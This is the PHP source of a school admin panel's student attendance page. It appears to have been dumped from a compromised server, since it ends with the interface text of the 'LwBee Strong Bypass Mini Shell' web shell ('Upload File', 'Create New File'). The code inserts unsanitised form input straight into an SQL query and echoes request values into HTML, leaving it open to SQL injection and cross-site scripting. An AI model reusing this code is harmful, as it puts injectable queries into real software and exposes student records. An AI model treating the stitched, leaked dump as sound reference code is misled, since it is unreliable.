/home3/vehiclea/public_html/admin-appleiitfoundationschools-com/student_attendance.php
<?php
   include('include/header.php');
   
   $select_academic = select_academic();
   $select_class = select_class();
   $select_section = select_section1();
   $select_SubjectData = select_SubjectData()
?> 


<main id="main" class="main">

<div class="pagetitle">
  <h1>Apple IIT Schools</h1>
  <nav>
    <ol class="breadcrumb">
      <li class="breadcrumb-item"><a href="index.php">Home</a></li>
      <li class="breadcrumb-item active">Student Attendance</li>
    </ol>
  </nav>
</div><!-- End Page Title -->

<section class="section">
      <div class="row">
        <div class="col-lg-12">

          <div class="card">
            <div class="card-body">
              <h5 class="card-title">Student Attendance</h5>

<form method="post" onsubmit="return marks_validation()" >
<div class="row">
  
               <div class="col-md-3 mt-4">
                         <label for="exampleInputEmail1" class="form-label">Academic Year</label>
                          <select name="yearOf" id="yearOf" class="form-control" required>
                            <option value="">Please Select Academic Year</option>
                            <?php
                               while($year = mysqli_fetch_array($select_academic)){
                            ?>
                            <option value="<?= $year['yearOf']?>"><?= $year['yearOf']?></option>
                           <?php
                              }
                           ?>
                          </select>
                    </div>  
                     <div class="col-md-3 mt-4">
                         <label for="exampleInputEmail1" class="form-label">Classes</label>
                          <select name="Class" id="Class" required class="form-control" onChange="select_section()">
                            <option value="">Please Select Class</option>
                            <?php
                               while($class= mysqli_fetch_array($select_class))
                               {


                            ?>
                               <option value="<?= $class['name']?>"><?= $class['name']?></option>
                               <?php
                                  }
                               ?>
                              </select>
                    </div>  

                    <div class="col-md-3 mt-4">
                         <label for="exampleInputEmail1" class="form-label">Section</label>
                          <select name="Section" id="Section" required class="form-control" onChange="select_section()">
                            <option value="">Please Select Section</option>
                            <?php
                               while($section= mysqli_fetch_array($select_section))
                               {


                            ?>
                               <option value="<?= $section['section']?>"><?= $section['section']?></option>
                               <?php
                                  }
                               ?>
                              </select>
                    </div>  
                  <div class="col-md-3 mt-4">

                      <label for="exampleInputEmail1" class="form-label">Syllabus Type</label>
                           <select name="syllabusdata" id="syllabusdata" class="form-control" onChange="select_section()" required>
                            <option value="">Please Select Syllabus</option>
                            <?php
                            $select_SyllabusData = select_SyllabusData();
                                while($syllabus = mysqli_fetch_array($select_SyllabusData)){
                            ?>
                            <option value="<?= $syllabus['name']?>"><?= $syllabus['name']?></option>
                            <?php
                                 }
                            ?>
                         </select>

                  </div>
                  
                     <div class="col-md-3 mt-4">
                         <label for="exampleInputEmail1" class="form-label">Subjects</label>
                          <select name="Subject" id="Subject" class="form-control">
                            <option value="">Please Select Subjects</option>
                           
                          </select>
                    </div>  
                   <!--   <div class="col-md-3 mt-4">
                         <label for="exampleInputEmail1" class="form-label">Exam Type</label>
                          <input type="text" name="exam_type" id="exam_type" class="form-control" placeholder="Please Enter Exam Type">
                    </div>   -->
                  

                  </div>
                  <div class="mt-4">
                   <input type="submit" class="btn btn-primary" value="Search" name="Subm">
                </div>
                  </div>
                  </div>
                 
                
           </form> 
   
    </div>
      
     </div>
          </div>


        </div>
      </div>
    </section>
    <?php
       if(isset($_POST['Subm']))
       {

         $select_student = executework("SELECT * from  student_registration where PresentClass = '".$_POST['Class']."' and Section = '".$_POST['Section']."' and syllabus = '".$_POST['syllabusdata']."'");
         $count = mysqli_num_rows($select_student);
         if(mysqli_num_rows($select_student)>0)
         {


         
    ?>
   <section class="section">
      <div class="row">
        <div class="col-lg-12">

          <div class="card">
            <div class="card-body">
              <h5 class="card-title">Student Attendance Report</h5>


               <div class="row">
                  <form method="post" action="studentattendance_data.php">
                  <table class="table">
                    <tr>
                      <th>S.No</th>
                      <th>Roll No</th>
                      <th>Student Name</th>
                      <th>Class</th>
                      <th>Section</th>
                      <th>Subject</th>
                      <th>Syllabus</th>
                      <th>Date</th>
                      <th>Present</th>
                      <th>Absent</th>
                    </tr>
                    <?php
                       $i=1;
                       while($row = mysqli_fetch_array($select_student)){
                          $year = substr($row['Academic_year'],5);
                           $code = $row['Branch'];
                           $class = substr($row['PresentClass'],0,3);
                           $val = $row['RollNo'];
                           $Roll_value = $year.$code.'-'.$class.'-'.$val;
                           $student_name = strtoupper($row['Surname']).strtoupper($row['StudentName']);
                           $date = date('Y-m-d H:i:s');
                           $datepicker = date('M-d-Y');
                    ?>
                    <tr>
                      <td><?= $i;?></td>
                      <td><input type="text" name="rollno_<?= $i?>" value="<?= $Roll_value?>" readonly></td>
                      <td><input type="text" name="student_name[]" value="<?= $student_name?>" readonly></td>
                      <td><input type="text" name="PClass[]" value="<?= $row['PresentClass']?>" readonly></td>
                      <td><input type="text" name="Section[]" value="<?= $row['Section']?>" readonly></td>
                      <td><input type="text" name="Subject[]" value="<?= $_POST['Subject']?>" readonly></td>
                      <td><input type="text" name="syllabus[]" value="<?= $row['syllabus']?>" readonly></td>
                      <td><input type="text" name="date[]" value="<?= $datepicker?>"  readonly required></td>
                      <td><input type="checkbox" name="attendance[]" value="1"></td>
                      <td><input type="checkbox" name="attendance[]" value="0"></td>
                      
                      <input type="hidden" name="number" value="<?= $count?>" id="number">
                      <input type="hidden" name="create_date[]" value="<?= $date?>">
                      <input type="hidden" name="academic[]" value="<?= $_POST['yearOf']?>">
                      <input type="hidden" name="student_no[]" value="<?= $row['RollNo']?>">

                      
                    </tr>
                    <?php
                       $i++;
                      }
                    ?>
                    
                  </table>
                 <input type="submit" name="submit" value="Submit" class="btn btn-primary">
                  </form>
                 

                  </div>
                  
                  </div>
                  </div>
                 
                
           </form> 
   
    </div>
      
     </div>
          </div>


        </div>
      </div>
    </section>
   <?php
 }
     }
   ?>

</main><!-- End #main -->
  
<script src="https://code.jquery.com/jquery-1.11.1.min.js"></script>

  <script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script>

  

  

  <?php include('include/footer.php'); ?> 

  <script>
    function search_student()
    {
        var Class = $('#Class').val();
         var yearOf = $('#yearOf').val();
            if(Class == '')
        {
          swal('Please Select Class');
          return false;
        }
          else if(yearOf == '')
        {
          swal('Please Select Year');
          return false;
        }
        else{

         $.ajax({
            url : "fetch.php",
            data :  {Class : Class,yearOf:yearOf},
            type : 'POST',
            success : function(data) {
             
                $('#result').html(data);
                $('#subm').show();
              
               
            
        }
        });
       }
    }


  </script>

  <script>
      function select_section(){
       
        var classlist= $('#Class').val();
        var sectionlist = $('#Section').val();
        var syllabusdata = $('#syllabusdata').val();
       
          if(classlist !='' && sectionlist !='' && syllabusdata !=''){
              $.ajax({
            url : "marks.php",
            data :  {classlist : classlist,sectionlist: sectionlist, syllabusdata: syllabusdata,type:1},
            type : 'POST',
            success : function(response) {
              $('#Subject').html(response);
                
               
            }
        });
          }
      }
    </script>

    <script type="text/javascript">
      // function student_data()
      // {
      //   var number = $('#number').val();
      //   for(i=1; i<= number ; i++){
           
      //   }
         
         
      // }
    </script>
@LwBee Strong Bypass

LwBee Strong Bypass Mini Shell

Upload File

Create New File